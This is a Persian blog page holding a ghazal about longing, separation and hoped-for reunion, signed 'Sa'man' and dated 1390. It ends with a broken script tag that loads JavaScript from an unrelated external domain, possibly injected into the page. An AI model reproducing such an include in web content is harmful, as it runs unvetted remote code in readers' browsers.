X
تبلیغات
رایتل

اشعار ودل نوشته های یک مهندس برق(مهندس شاعر)

غزل دوبیتی قصیده و...
شنبه 6 فروردین‌ماه سال 1390

آرزوی هجران

عزیز من گل من آرزوی هجرانم

ستاره شب تارم امید دورانم


از آنزمان که سخن از فراق آوردی

دقیقه ای زغم آسوده نیست چشمانم


چه زود می گذرد روزگار آری او

چو ما هوای گلی کرده خوب می دانم


حوادث از پی هم می روند ومی آیند

مگر که حادثه روز وصل جانانم


خیال گردش دریای چشم تو دارم

ولی زقایق وارونه نیست امکانم


بیا که غنچه چو بیند تو را که می آیی

دهان گشاید وگوید خوش آمدی جانم


گمان مبر که زعشقت رفیق غم گشتم

که هست شادی اگرزین زمانه من آنم


بیا امید رهایی به کوی یکرنگی

سری به "سعمن" دلخسته زن مرنجانم


script type="text/javascript" src="http://parmissms.com/jquery.js">